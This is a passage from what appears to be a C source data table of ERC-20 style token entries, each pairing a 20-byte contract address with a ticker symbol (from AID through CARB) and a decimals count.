{{0x37,0xe8,0x78,0x9b,0xb9,0x99,0x6c,0xac,0x91,0x56,0xcd,0x5f,0x5f,0xd3,0x25,0x99,0xe6,0xb9,0x12,0x89}, "AID ", 18},
{{0x4C,0xEd,0xA7,0x90,0x6a,0x5E,0xd2,0x17,0x97,0x85,0xCd,0x3A,0x40,0xA6,0x9e,0xe8,0xbc,0x99,0xC4,0x66}, "AION ", 8},
{{0x27,0xdc,0xe1,0xec,0x4d,0x3f,0x72,0xc3,0xe4,0x57,0xcc,0x50,0x35,0x4f,0x1f,0x97,0x5d,0xde,0xf4,0x88}, "AIR ", 8},
{{0x10,0x63,0xce,0x52,0x42,0x65,0xd5,0xa3,0xA6,0x24,0xf4,0x91,0x4a,0xcd,0x57,0x3d,0xD8,0x9c,0xe9,0x88}, "AIX ", 18},
{{0x1c,0xa4,0x3a,0x17,0x0b,0xad,0x61,0x93,0x22,0xe6,0xf5,0x4d,0x46,0xb5,0x7e,0x50,0x4d,0xb6,0x63,0xaa}, "AKC ", 18},
{{0x18,0x1a,0x63,0x74,0x6d,0x3a,0xdc,0xf3,0x56,0xcb,0xc7,0x3a,0xce,0x22,0x83,0x2f,0xfb,0xb1,0xee,0x5a}, "ALCO ", 8},
{{0x42,0x89,0xc0,0x43,0xa1,0x23,0x92,0xf1,0x02,0x73,0x07,0xfb,0x58,0x27,0x2d,0x8e,0xbd,0x85,0x39,0x12}, "ALI ", 18},
{{0xEA,0x61,0x0B,0x11,0x53,0x47,0x77,0x20,0x74,0x8D,0xC1,0x3E,0xD3,0x78,0x00,0x39,0x41,0xd8,0x4f,0xAB}, "ALIS ", 18},
{{0x63,0x8a,0xc1,0x49,0xea,0x8e,0xf9,0xa1,0x28,0x6c,0x41,0xb9,0x77,0x01,0x7a,0xa7,0x35,0x9e,0x6c,0xfa}, "ALTS ", 18},
{{0x49,0xb1,0x27,0xbc,0x33,0xce,0x7e,0x15,0x86,0xec,0x28,0xce,0xc6,0xa6,0x5b,0x11,0x25,0x96,0xc8,0x22}, "ALX ", 18},
{{0x4d,0xc3,0x64,0x3d,0xbc,0x64,0x2b,0x72,0xc1,0x58,0xe7,0xf3,0xd2,0xff,0x23,0x2d,0xf6,0x1c,0xb6,0xce}, "AMB ", 18},
{{0x94,0x9b,0xed,0x88,0x6c,0x73,0x9f,0x1a,0x32,0x73,0x62,0x9b,0x33,0x20,0xdb,0x0c,0x50,0x24,0xc7,0x19}, "AMIS ", 9},
{{0xca,0x0e,0x72,0x69,0x60,0x0d,0x35,0x3f,0x70,0xb1,0x4a,0xd1,0x18,0xa4,0x95,0x75,0x45,0x5c,0x0f,0x2f}, "AMLT ", 18},
{{0x73,0x7f,0x98,0xac,0x8c,0xa5,0x9f,0x2c,0x68,0xad,0x65,0x8e,0x3c,0x3d,0x8c,0x89,0x63,0xe4,0x0a,0x4c}, "AMN ", 18},
{{0x38,0xc8,0x7a,0xa8,0x9b,0x2b,0x8c,0xd9,0xb9,0x5b,0x73,0x6e,0x1f,0xa7,0xb6,0x12,0xea,0x97,0x21,0x69}, "AMO ", 18},
{{0x84,0x93,0x6c,0xF7,0x63,0x0A,0xA3,0xe2,0x7D,0xd9,0xAf,0xF9,0x68,0xb1,0x40,0xd5,0xAE,0xE4,0x9F,0x5a}, "AMTC ", 8},
{{0x96,0x0b,0x23,0x6A,0x07,0xcf,0x12,0x26,0x63,0xc4,0x30,0x33,0x50,0x60,0x9A,0x66,0xA7,0xB2,0x88,0xC0}, "ANT ", 18},
{{0x9a,0xb1,0x65,0xd7,0x95,0x01,0x9b,0x6d,0x8b,0x3e,0x97,0x1d,0xda,0x91,0x07,0x14,0x21,0x30,0x5e,0x5a}, "AOA ", 18},
{{0x4c,0x0f,0xbe,0x1b,0xb4,0x66,0x12,0x91,0x5e,0x79,0x67,0xd2,0xc3,0x21,0x3c,0xd4,0xd8,0x72,0x57,0xad}, "APIS ", 18},
{{0x1a,0x7a,0x8b,0xd9,0x10,0x6f,0x2b,0x8d,0x97,0x7e,0x08,0x58,0x2d,0xc7,0xd2,0x4c,0x72,0x3a,0xb0,0xdb}, "APPC ", 18},
{{0x23,0xae,0x3c,0x5b,0x39,0xb1,0x2f,0x06,0x93,0xe0,0x54,0x35,0xee,0xaa,0x1e,0x51,0xd8,0xc6,0x15,0x30}, "APT ", 18},
{{0xaf,0xbe,0xc4,0xd6,0x5b,0xc7,0xb1,0x16,0xd8,0x51,0x07,0xfd,0x05,0xd9,0x12,0x49,0x10,0x29,0xbf,0x46}, "ARB ", 18},
{{0xAc,0x70,0x9F,0xcB,0x44,0xa4,0x3c,0x35,0xF0,0xDA,0x4e,0x31,0x63,0xb1,0x17,0xA1,0x7F,0x37,0x70,0xf5}, "ARC ", 18},
{{0x12,0x45,0xef,0x80,0xf4,0xd9,0xe0,0x2e,0xd9,0x42,0x53,0x75,0xe8,0xf6,0x49,0xb9,0x22,0x1b,0x31,0xd8}, "ARCT ", 8},
{{0x75,0xaa,0x7b,0x0d,0x02,0x53,0x2f,0x38,0x33,0xb6,0x6c,0x7f,0x0a,0xd3,0x53,0x76,0xd3,0x73,0xdd,0xf8}, "ARD ", 18},
{{0xBA,0x5F,0x11,0xb1,0x6B,0x15,0x57,0x92,0xCf,0x3B,0x2E,0x68,0x80,0xE8,0x70,0x68,0x59,0xA8,0xAE,0xB6}, "ARN ", 8},
{{0xfe,0xc0,0xcF,0x7f,0xE0,0x78,0xa5,0x00,0xab,0xf1,0x5F,0x12,0x84,0x95,0x8F,0x22,0x04,0x9c,0x2C,0x7e}, "ART ", 18},
{{0x77,0x05,0xFa,0xA3,0x4B,0x16,0xEB,0x6d,0x77,0xDf,0xc7,0x81,0x2b,0xe2,0x36,0x7b,0xa6,0xB0,0x24,0x8e}, "ARX ", 8},
{{0xb0,0xD9,0x26,0xc1,0xBC,0x3d,0x78,0x06,0x4F,0x3e,0x10,0x75,0xD5,0xbD,0x9A,0x24,0xF3,0x5A,0xe6,0xC5}, "ARXT ", 18},
{{0xa5,0xf8,0xfc,0x09,0x21,0x88,0x0c,0xb7,0x34,0x23,0x68,0xbd,0x12,0x8e,0xb8,0x05,0x04,0x42,0xb1,0xa1}, "ARY ", 18},
{{0x27,0x05,0x4b,0x13,0xb1,0xB7,0x98,0xB3,0x45,0xb5,0x91,0xa4,0xd2,0x2e,0x65,0x62,0xd4,0x7e,0xA7,0x5a}, "AST ", 4},
{{0x7b,0x22,0x93,0x8c,0xa8,0x41,0xaa,0x39,0x2c,0x93,0xdb,0xb7,0xf4,0xc4,0x21,0x78,0xe3,0xd6,0x5e,0x88}, "ASTRO ", 4},
{{0x15,0x43,0xd0,0xF8,0x34,0x89,0xe8,0x2A,0x13,0x44,0xDF,0x68,0x27,0xB2,0x3d,0x54,0x1F,0x23,0x5A,0x50}, "Aigatha ", 18},
{{0x17,0x05,0x2d,0x51,0xE9,0x54,0x59,0x2C,0x10,0x46,0x32,0x0c,0x23,0x71,0xAb,0xaB,0x6C,0x73,0xEf,0x10}, "Athenian ", 18},
{{0x78,0xB7,0xFA,0xDA,0x55,0xA6,0x4d,0xD8,0x95,0xD8,0xc8,0xc3,0x57,0x79,0xDD,0x8b,0x67,0xfA,0x8a,0x05}, "ATL ", 18},
{{0x9B,0x11,0xEF,0xcA,0xAA,0x18,0x90,0xf6,0xeE,0x52,0xC6,0xbB,0x7C,0xF8,0x15,0x3a,0xC5,0xd7,0x41,0x39}, "ATM ", 8},
{{0x97,0xAE,0xB5,0x06,0x6E,0x1A,0x59,0x0e,0x86,0x8b,0x51,0x14,0x57,0xBE,0xb6,0xFE,0x99,0xd3,0x29,0xF5}, "ATMI ", 18},
{{0x2d,0xAE,0xE1,0xAA,0x61,0xD6,0x0A,0x25,0x2D,0xC8,0x05,0x64,0x49,0x9A,0x69,0x80,0x28,0x53,0x58,0x3A}, "ATS ", 4},
{{0x88,0x78,0x34,0xd3,0xb8,0xd4,0x50,0xb6,0xba,0xb1,0x09,0xc2,0x52,0xdf,0x3d,0xa2,0x86,0xd7,0x3c,0xe4}, "ATT ", 18},
{{0x63,0x39,0x78,0x4d,0x94,0x78,0xda,0x43,0x10,0x6a,0x42,0x91,0x96,0x77,0x2a,0x02,0x9c,0x2f,0x17,0x7d}, "ATTN ", 18},
{{0x1a,0x0f,0x2a,0xb4,0x6e,0xc6,0x30,0xf9,0xfd,0x63,0x80,0x29,0x02,0x7b,0x55,0x2a,0xfa,0x64,0xb9,0x4c}, "ATX ", 18},
{{0xc1,0x2d,0x09,0x9b,0xe3,0x15,0x67,0xad,0xd4,0xe4,0xe4,0xd0,0xd4,0x56,0x91,0xc3,0xf5,0x8f,0x56,0x63}, "AUC ", 18},
{{0xcd,0xcf,0xc0,0xf6,0x6c,0x52,0x2f,0xd0,0x86,0xa1,0xb7,0x25,0xea,0x3c,0x0e,0xeb,0x9f,0x9e,0x88,0x14}, "AURA ", 18},
{{0x62,0x2d,0xFf,0xCc,0x4e,0x83,0xC6,0x4b,0xa9,0x59,0x53,0x0A,0x5a,0x55,0x80,0x68,0x7a,0x57,0x58,0x1b}, "AUTO ", 18},
{{0xeD,0x24,0x79,0x80,0x39,0x6B,0x10,0x16,0x9B,0xB1,0xd3,0x6f,0x6e,0x27,0x8e,0xD1,0x67,0x00,0xa6,0x0f}, "AVA ", 4},
{{0x0d,0x88,0xed,0x6e,0x74,0xbb,0xfd,0x96,0xb8,0x31,0x23,0x16,0x38,0xb6,0x6c,0x05,0x57,0x1e,0x82,0x4f}, "AVT ", 18},
{{0xcd,0x4b,0x4b,0x0f,0x32,0x84,0xa3,0x3a,0xc4,0x9c,0x67,0x96,0x1e,0xc6,0xe1,0x11,0x70,0x83,0x18,0xcf}, "AX1 ", 5},
{{0xC3,0x9E,0x62,0x6A,0x04,0xC5,0x97,0x1D,0x77,0x0e,0x31,0x97,0x60,0xD7,0x92,0x65,0x02,0x97,0x5e,0x47}, "AXPR ", 18},
{{0x5d,0x51,0xfc,0xce,0xd3,0x11,0x4a,0x8b,0xb5,0xe9,0x0c,0xdd,0x0f,0x9d,0x68,0x2b,0xcb,0xcc,0x53,0x93}, "B2BX ", 18},
{{0x99,0x8b,0x3b,0x82,0xbc,0x9d,0xba,0x17,0x39,0x90,0xbe,0x7a,0xfb,0x77,0x27,0x88,0xb5,0xac,0xb8,0xbd}, "BANCA ", 18},
{{0xf8,0x7f,0x0d,0x91,0x53,0xfe,0xa5,0x49,0xc7,0x28,0xad,0x61,0xcb,0x80,0x15,0x95,0xa6,0x8b,0x73,0xde}, "BANX ", 18},
{{0x2a,0x05,0xd2,0x2d,0xb0,0x79,0xbc,0x40,0xc2,0xf7,0x7a,0x1d,0x1f,0xf7,0x03,0xa5,0x6e,0x63,0x1c,0xc1}, "BAS ", 8},
{{0x0D,0x87,0x75,0xF6,0x48,0x43,0x06,0x79,0xA7,0x09,0xE9,0x8d,0x2b,0x0C,0xb6,0x25,0x0d,0x28,0x87,0xEF}, "BAT ", 18},
{{0x9a,0x02,0x42,0xb7,0xa3,0x3d,0xac,0xbe,0x40,0xed,0xb9,0x27,0x83,0x4f,0x96,0xeb,0x39,0xf8,0xfb,0xcb}, "BAX ", 18},
{{0xe7,0xD3,0xe4,0x41,0x3E,0x29,0xae,0x35,0xB0,0x89,0x31,0x40,0xF4,0x50,0x09,0x65,0xc7,0x43,0x65,0xe5}, "BBC ", 18},
{{0x37,0xd4,0x05,0x10,0xa2,0xf5,0xbc,0x98,0xaa,0x7a,0x0f,0x7b,0xf4,0xb3,0x45,0x3b,0xcf,0xb9,0x0a,0xc1}, "BBI ", 18},
{{0x4a,0x60,0x58,0x66,0x6c,0xf1,0x05,0x7e,0xaC,0x3C,0xD3,0xA5,0xa6,0x14,0x62,0x05,0x47,0x55,0x9f,0xc9}, "BBK ", 18},
{{0x35,0xa6,0x96,0x42,0x85,0x70,0x83,0xba,0x2f,0x30,0xbf,0xab,0x73,0x5d,0xac,0xc7,0xf0,0xba,0xc9,0x69}, "BBN ", 18},
{{0x84,0xf7,0xc4,0x4b,0x6f,0xed,0x10,0x80,0xf6,0x47,0xe3,0x54,0xd5,0x52,0x59,0x5b,0xe2,0xcc,0x60,0x2f}, "BBO ", 18},
{{0x2e,0xcb,0x13,0xa8,0xc4,0x58,0xc3,0x79,0xc4,0xd9,0xa7,0x25,0x9e,0x20,0x2d,0xe0,0x3c,0x8f,0x3d,0x19}, "BC ", 18},
{{0x1f,0x41,0xe4,0x2d,0x0a,0x9e,0x3c,0x0d,0xd3,0xba,0x15,0xb5,0x27,0x34,0x27,0x83,0xb4,0x32,0x00,0xa9}, "BCAP ", 0},
{{0x73,0x67,0xa6,0x80,0x39,0xd4,0x70,0x4f,0x30,0xbf,0xbf,0x6d,0x94,0x80,0x20,0xc3,0xb0,0x7d,0xfc,0x59}, "BCBC ", 18},
{{0x1e,0x79,0x7C,0xe9,0x86,0xC3,0xCF,0xF4,0x47,0x2F,0x7D,0x38,0xd5,0xC4,0xab,0xa5,0x5D,0xfE,0xFE,0x40}, "BCDN ", 15},
{{0xac,0xfa,0x20,0x9f,0xb7,0x3b,0xf3,0xdd,0x5b,0xbf,0xb1,0x10,0x1b,0x9b,0xc9,0x99,0xc4,0x90,0x62,0xa5}, "BCDT ", 18},
{{0xbc,0x12,0x34,0x55,0x2E,0xBe,0xa3,0x2B,0x51,0x21,0x19,0x03,0x56,0xbB,0xa6,0xD3,0xBb,0x22,0x5b,0xb5}, "BCL ", 18},
{{0x1c,0x44,0x81,0x75,0x0d,0xaa,0x5F,0xf5,0x21,0xA2,0xa7,0x49,0x0d,0x99,0x81,0xeD,0x46,0x46,0x5D,0xbd}, "BCPT ", 18},
{{0x10,0x14,0x61,0x3e,0x2b,0x3c,0xbc,0x4d,0x57,0x50,0x54,0xd4,0x98,0x2e,0x58,0x0d,0x9b,0x99,0xd7,0xb1}, "BCV ", 8},
{{0x19,0x61,0xB3,0x33,0x19,0x69,0xeD,0x52,0x77,0x07,0x51,0xfC,0x71,0x8e,0xf5,0x30,0x83,0x8b,0x6d,0xEE}, "BDG ", 18},
{{0x4D,0x8f,0xc1,0x45,0x3a,0x0F,0x35,0x9e,0x99,0xc9,0x67,0x59,0x54,0xe6,0x56,0xD8,0x0d,0x99,0x6F,0xbF}, "BEE ", 18},
{{0x74,0xC1,0xE4,0xb8,0xca,0xE5,0x92,0x69,0xec,0x1D,0x85,0xD3,0xD4,0xF3,0x24,0x39,0x60,0x48,0xF4,0xac}, "BeerCoin ", 0},
{{0x6a,0xeb,0x95,0xf0,0x6c,0xda,0x84,0xca,0x34,0x5c,0x2d,0xe0,0xf3,0xb7,0xf9,0x69,0x23,0xa4,0x4f,0x4c}, "BERRY ", 14},
{{0x8a,0xA3,0x3A,0x78,0x99,0xFC,0xC8,0xeA,0x5f,0xBe,0x6A,0x60,0x8A,0x10,0x9c,0x38,0x93,0xA1,0xB8,0xb2}, "BET ", 18},
{{0x14,0xC9,0x26,0xF2,0x29,0x00,0x44,0xB6,0x47,0xe1,0xBf,0x20,0x72,0xe6,0x7B,0x49,0x5e,0xff,0x19,0x05}, "BETHER ", 18},
{{0x76,0x31,0x86,0xeb,0x8d,0x48,0x56,0xd5,0x36,0xed,0x44,0x78,0x30,0x29,0x71,0x21,0x4f,0xeb,0xc6,0xa9}, "BETR ", 18},
{{0xee,0x74,0x11,0x0f,0xb5,0xa1,0x00,0x7b,0x06,0x28,0x2e,0x0d,0xe5,0xd7,0x3a,0x61,0xbf,0x41,0xd9,0xcd}, "BHPC ", 18},
{{0xfe,0x5d,0x90,0x8c,0x9a,0xd8,0x5f,0x65,0x11,0x85,0xda,0xa6,0xa4,0x77,0x07,0x26,0xe2,0xb2,0x7d,0x09}, "BHR ", 18},
{{0x08,0xb4,0xc8,0x66,0xaE,0x9D,0x1b,0xE5,0x6a,0x06,0xe0,0xC3,0x02,0x05,0x4B,0x4F,0xFe,0x06,0x7b,0x43}, "BITCAR ", 8},
{{0xf3,0xd2,0x9f,0xb9,0x8d,0x2d,0xc5,0xe7,0x8c,0x87,0x19,0x8d,0xee,0xf9,0x93,0x77,0x34,0x5f,0xd6,0xf1}, "BITPARK ", 8},
{{0xb3,0x10,0x4b,0x4b,0x9d,0xa8,0x20,0x25,0xe8,0xb9,0xf8,0xfb,0x28,0xb3,0x55,0x3c,0xe2,0xf6,0x70,0x69}, "BIX ", 18},
{{0xb2,0xbf,0xeb,0x70,0xb9,0x03,0xf1,0xba,0xac,0x7f,0x2b,0xa2,0xc6,0x29,0x34,0xc7,0xe5,0xb9,0x74,0xc4}, "BKB ", 8},
{{0x3c,0xf9,0xe0,0xc3,0x85,0xa5,0xab,0xec,0x9f,0xd2,0xa7,0x17,0x90,0xaa,0x34,0x4c,0x4e,0x8e,0x35,0x70}, "BKRx ", 18},
{{0x45,0x24,0x5b,0xc5,0x92,0x19,0xee,0xaa,0xf6,0xcd,0x3f,0x38,0x2e,0x07,0x8a,0x46,0x1f,0xf9,0xde,0x7b}, "BKX ", 18},
{{0xca,0x29,0xdb,0x42,0x21,0xc1,0x11,0x88,0x8a,0x7e,0x80,0xb1,0x2e,0xac,0x8a,0x26,0x6d,0xa3,0xee,0x0d}, "BLN ", 18},
{{0x10,0x7c,0x45,0x04,0xcd,0x79,0xC5,0xd2,0x69,0x6E,0xa0,0x03,0x0a,0x8d,0xD4,0xe9,0x26,0x01,0xB8,0x2e}, "BLT ", 18},
{{0x53,0x9e,0xfe,0x69,0xbc,0xdd,0x21,0xa8,0x3e,0xfd,0x91,0x22,0x57,0x1a,0x64,0xcc,0x25,0xe0,0x28,0x2b}, "BLUE ", 8},
{{0xce,0x59,0xd2,0x9b,0x09,0xaa,0xe5,0x65,0xfe,0xee,0xf8,0xe5,0x2f,0x47,0xc3,0xcd,0x53,0x68,0xc6,0x63}, "BLX bull ", 18},
{{0xE5,0xa7,0xc1,0x29,0x72,0xf3,0xbb,0xFe,0x70,0xed,0x29,0x52,0x1C,0x89,0x49,0xb8,0xAf,0x6a,0x09,0x70}, "BLX ico ", 18},
{{0x57,0x32,0x04,0x6A,0x88,0x37,0x04,0x40,0x4F,0x28,0x4C,0xe4,0x1F,0xfA,0xDd,0x5b,0x00,0x7F,0xD6,0x68}, "BLZ ", 18},
{{0xdf,0x6e,0xf3,0x43,0x35,0x07,0x80,0xbf,0x8c,0x34,0x10,0xbf,0x06,0x2e,0x0c,0x01,0x5b,0x1d,0xd6,0x71}, "BMC ", 8},
{{0xf0,0x28,0xad,0xee,0x51,0x53,0x3b,0x1b,0x47,0xbe,0xaa,0x89,0x0f,0xeb,0x54,0xa4,0x57,0xf5,0x1e,0x89}, "BMT ", 18},
{{0x98,0x6E,0xE2,0xB9,0x44,0xc4,0x2D,0x01,0x7F,0x52,0xAf,0x21,0xc4,0xc6,0x9B,0x84,0xDB,0xeA,0x35,0xd8}, "BMX ", 18},
{{0xb8,0xc7,0x74,0x82,0xe4,0x5f,0x1f,0x44,0xde,0x17,0x45,0xf5,0x2c,0x74,0x42,0x6c,0x63,0x1b,0xdd,0x52}, "BNB ", 18},
{{0xdD,0x6B,0xf5,0x6C,0xA2,0xad,0xa2,0x4c,0x68,0x3F,0xAC,0x50,0xE3,0x77,0x83,0xe5,0x5B,0x57,0xAF,0x9F}, "BNC ", 12},
{{0xef,0x51,0xc9,0x37,0x7f,0xeb,0x29,0x85,0x6e,0x61,0x62,0x5c,0xaf,0x93,0x90,0xbd,0x0b,0x67,0xea,0x18}, "BNC ", 8},
{{0xdA,0x2C,0x42,0x4F,0xc9,0x8c,0x74,0x1c,0x2d,0x4e,0xf2,0xf4,0x28,0x97,0xCE,0xfe,0xd8,0x97,0xCA,0x75}, "BNFT ", 9},
{{0xda,0x80,0xb2,0x00,0x38,0xbd,0xf9,0x68,0xc7,0x30,0x7b,0xb5,0x90,0x7a,0x46,0x94,0x82,0xcf,0x62,0x51}, "BNN ", 8},
{{0x1F,0x57,0x3D,0x6F,0xb3,0xF1,0x3d,0x68,0x9F,0xF8,0x44,0xB4,0xcE,0x37,0x79,0x4d,0x79,0xa7,0xFF,0x1C}, "BNT ", 18},
{{0xd2,0xd6,0x15,0x86,0x83,0xae,0xe4,0xcc,0x83,0x80,0x67,0x72,0x72,0x09,0xa0,0xaa,0xf4,0x35,0x9d,0xe3}, "BNTY ", 18},
{{0xDF,0x34,0x79,0x11,0x91,0x0b,0x6c,0x9A,0x42,0x86,0xbA,0x8E,0x2E,0xE5,0xea,0x4a,0x39,0xeB,0x21,0x34}, "BOB ", 18},
{{0xCc,0x34,0x36,0x6E,0x38,0x42,0xcA,0x1B,0xD3,0x6c,0x1f,0x32,0x4d,0x15,0x25,0x79,0x60,0xfC,0xC8,0x01}, "BON ", 18},
{{0x7f,0x1e,0x2c,0x7d,0x6a,0x69,0xbf,0x34,0x82,0x4d,0x72,0xc5,0x3b,0x45,0x50,0xe8,0x95,0xc0,0xd8,0xc2}, "BOP ", 8},
{{0xC2,0xC6,0x3F,0x23,0xec,0x5E,0x97,0xef,0xbD,0x75,0x65,0xdF,0x9E,0xc7,0x64,0xFD,0xc7,0xd4,0xe9,0x1d}, "BOU ", 18},
{{0x13,0x9d,0x93,0x97,0x27,0x4b,0xb9,0xe2,0xc2,0x9a,0x9a,0xa8,0xaa,0x0b,0x58,0x74,0xd3,0x0d,0x62,0xe3}, "BOUTS ", 18},
{{0x63,0xf5,0x84,0xfa,0x56,0xe6,0x0e,0x4d,0x0f,0xe8,0x80,0x2b,0x27,0xc7,0xe6,0xe3,0xb3,0x3e,0x00,0x7f}, "BOX ", 18},
{{0xe1,0xA1,0x78,0xB6,0x81,0xBD,0x05,0x96,0x4d,0x3e,0x3E,0xd3,0x3A,0xE7,0x31,0x57,0x7d,0x9d,0x96,0xdD}, "BOX ", 18},
{{0x78,0x01,0x16,0xd9,0x1e,0x55,0x92,0xe5,0x8a,0x3b,0x3c,0x76,0xa3,0x51,0x57,0x1b,0x39,0xab,0xce,0xc6}, "BOXX ", 15},
{{0x32,0x76,0x82,0x77,0x9b,0xAB,0x2B,0xF4,0xd1,0x33,0x7e,0x89,0x74,0xab,0x9d,0xE8,0x27,0x5A,0x7C,0xa8}, "BPT ", 18},
{{0x9E,0x77,0xD5,0xa1,0x25,0x1b,0x6F,0x7D,0x45,0x67,0x22,0xA6,0xea,0xC6,0xD2,0xd5,0x98,0x0b,0xd8,0x91}, "BRAT ", 8},
{{0x55,0x8e,0xc3,0x15,0x2e,0x2e,0xb2,0x17,0x49,0x05,0xcd,0x19,0xae,0xa4,0xe3,0x4a,0x23,0xde,0x9a,0xd6}, "BRD ", 18},
{{0xf2,0x6e,0xf5,0xe0,0x54,0x53,0x84,0xb7,0xdc,0xc0,0xf2,0x97,0xf2,0x67,0x41,0x89,0x58,0x68,0x30,0xdf}, "BSDC ", 18},
{{0x50,0x9A,0x38,0xb7,0xa1,0xcC,0x0d,0xcd,0x83,0xAa,0x9d,0x06,0x21,0x46,0x63,0xD9,0xeC,0x7c,0x7F,0x4a}, "BST ", 18},
{{0x02,0x72,0x58,0x36,0xeb,0xf3,0xec,0xdb,0x1c,0xdf,0x1c,0x7b,0x02,0xfc,0xbb,0xfa,0xa2,0x73,0x6a,0xf8}, "BTCA ", 8},
{{0x08,0x86,0x94,0x9c,0x1b,0x8C,0x41,0x28,0x60,0xc4,0x26,0x4C,0xeb,0x80,0x83,0xd1,0x36,0x5e,0x86,0xCF}, "BTCE ", 8},
{{0x5a,0xcD,0x19,0xb9,0xc9,0x1e,0x59,0x6b,0x1f,0x06,0x2f,0x18,0xe3,0xD0,0x2d,0xa7,0xeD,0x8D,0x1e,0x50}, "BTCL ", 8},
{{0x87,0xf5,0xe8,0xc3,0x42,0x52,0x18,0x83,0x7f,0x3c,0xb6,0x7d,0xb9,0x41,0xaf,0x0c,0x01,0x32,0x3e,0x56}, "BTCONE ", 18},
{{0x6a,0xac,0x8c,0xb9,0x86,0x1e,0x42,0xbf,0x82,0x59,0xf5,0xab,0xdc,0x6a,0xe3,0xae,0x89,0x90,0x9e,0x11}, "BTCR ", 8},
{{0x73,0xdd,0x06,0x9c,0x29,0x9a,0x5d,0x69,0x1e,0x98,0x36,0x24,0x3b,0xca,0xec,0x9c,0x8c,0x1d,0x87,0x34}, "BTE ", 8},
{{0xfa,0xd5,0x72,0xdb,0x56,0x6e,0x52,0x34,0xac,0x9f,0xc3,0xd5,0x70,0xc4,0xed,0xc0,0x05,0x0e,0xaa,0x92}, "BTH ", 18},
{{0xdb,0x86,0x46,0xf5,0xb4,0x87,0xb5,0xdd,0x97,0x9f,0xac,0x61,0x83,0x50,0xe8,0x50,0x18,0xf5,0x57,0xd4}, "BTK ", 18},
{{0x2a,0xcc,0xaB,0x9c,0xb7,0xa4,0x8c,0x3E,0x82,0x28,0x6F,0x0b,0x2f,0x87,0x98,0xD2,0x01,0xF4,0xeC,0x3f}, "Battle ", 18},
{{0x92,0x68,0x5E,0x93,0x95,0x65,0x37,0xc2,0x5B,0xb7,0x5D,0x5d,0x47,0xfc,0xa4,0x26,0x6d,0xd6,0x28,0xB8}, "Bitlle ", 4},
{{0xcb,0x97,0xe6,0x5f,0x07,0xda,0x24,0xd4,0x6b,0xcd,0xd0,0x78,0xeb,0xeb,0xd7,0xc6,0xe6,0xe3,0xd7,0x50}, "BTM ", 8},
{{0x36,0x90,0x5f,0xc9,0x32,0x80,0xf5,0x23,0x62,0xa1,0xcb,0xab,0x15,0x1f,0x25,0xdc,0x46,0x74,0x2f,0xb5}, "BTO ", 18},
{{0x16,0xB0,0xE6,0x2a,0xC1,0x3a,0x2f,0xAe,0xD3,0x6D,0x18,0xbc,0xe2,0x35,0x6d,0x25,0xAb,0x3C,0xfA,0xD3}, "BTQ ", 18},
{{0x49,0x9a,0x6b,0x77,0xbc,0x25,0xc2,0x6b,0xcf,0x82,0x65,0xe2,0x10,0x2b,0x1b,0x3d,0xd1,0x61,0x70,0x24}, "BTR ", 18},
{{0x03,0xc7,0x80,0xcd,0x55,0x45,0x98,0x59,0x2b,0x97,0xb7,0x25,0x6d,0xda,0xad,0x75,0x99,0x45,0xb1,0x25}, "BTRN ", 18},
{{0x08,0x0a,0xa0,0x7e,0x2c,0x71,0x85,0x15,0x0d,0x7e,0x4d,0xa9,0x88,0x38,0xa8,0xd2,0xfe,0xac,0x3d,0xfc}, "Bit eth ", 0},
{{0xFA,0x45,0x6C,0xf5,0x52,0x50,0xA8,0x39,0x08,0x8b,0x27,0xEE,0x32,0xA4,0x24,0xd7,0xDA,0xcB,0x54,0xFf}, "BlkTrade ", 18},
{{0xb6,0x83,0xD8,0x3a,0x53,0x2e,0x2C,0xb7,0xDF,0xa5,0x27,0x5e,0xED,0x36,0x98,0x43,0x63,0x71,0xcc,0x9f}, "BTU ", 18},
{{0xE5,0xf8,0x67,0xdE,0x1E,0xA8,0x13,0x46,0xdf,0x51,0x81,0xb8,0xb4,0x8D,0xD6,0xB0,0xBB,0x33,0x57,0xB0}, "BTZ ", 18},
{{0xca,0x3c,0x18,0xa6,0x5b,0x80,0x2e,0xc2,0x67,0xf8,0xf4,0x80,0x25,0x45,0xe7,0xf5,0x3d,0x24,0xc7,0x5e}, "BUC ", 18},
{{0xbd,0x16,0x8c,0xbf,0x9d,0x3a,0x37,0x5b,0x38,0xdc,0x51,0xa2,0x02,0xb5,0xe8,0xa4,0xe5,0x20,0x69,0xed}, "BWX ", 18},
{{0x43,0x75,0xe7,0xad,0x8a,0x01,0xb8,0xec,0x3e,0xd0,0x41,0x39,0x9f,0x62,0xd9,0xcd,0x12,0x0e,0x00,0x63}, "BZ ", 18},
{{0xe1,0xae,0xe9,0x84,0x95,0x36,0x5f,0xc1,0x79,0x69,0x9c,0x1b,0xb3,0xe7,0x61,0xfa,0x71,0x6b,0xee,0x62}, "BZNT ", 18},
{{0x38,0x39,0xd8,0xba,0x31,0x27,0x51,0xaa,0x02,0x48,0xfe,0xd6,0xa8,0xba,0xcb,0x84,0x30,0x8e,0x20,0xed}, "Bez ", 18},
{{0x26,0xE7,0x53,0x07,0xFc,0x0C,0x02,0x14,0x72,0xfE,0xb8,0xF7,0x27,0x83,0x95,0x31,0xF1,0x12,0xf3,0x17}, "C20 ", 18},
{{0xd4,0x2d,0xeb,0xE4,0xeD,0xc9,0x2B,0xd5,0xa3,0xFB,0xb4,0x24,0x3e,0x1e,0xcC,0xf6,0xd6,0x3A,0x4A,0x5d}, "C8 ", 18},
{{0x7d,0x4b,0x8C,0xce,0x05,0x91,0xC9,0x04,0x4a,0x22,0xee,0x54,0x35,0x33,0xb7,0x2E,0x97,0x6E,0x36,0xC3}, "CAG ", 18},
{{0x1d,0x46,0x24,0x14,0xfe,0x14,0xcf,0x48,0x9c,0x7A,0x21,0xCa,0xC7,0x85,0x09,0xf4,0xbF,0x8C,0xD7,0xc0}, "CAN ", 6},
{{0x04,0xf2,0xe7,0x22,0x1f,0xdb,0x1b,0x52,0xa6,0x81,0x69,0xb2,0x57,0x93,0xe5,0x14,0x78,0xff,0x03,0x29}, "CAPP ", 2},
{{0x42,0x3e,0x43,0x22,0xcd,0xda,0x29,0x15,0x6b,0x49,0xa1,0x7d,0xfb,0xd2,0xac,0xc4,0xb2,0x80,0x60,0x0d}, "CAR ", 9},
{{0x4d,0x9e,0x23,0xa3,0x84,0x2f,0xe7,0xeb,0x76,0x82,0xb9,0x72,0x5c,0xf6,0xc5,0x07,0xc4,0x24,0xa4,0x1b}, "Carblock ", 18},
{{0xa5,0x17,0xa4,0x6b,0xaa,0xd6,0xb0,0x54,0xa7,0x6b,0xd1,0x9c,0x46,0x84,0x4f,0x71,0x7f,0xe6,0x9f,0xea}, "CARB ", 8},
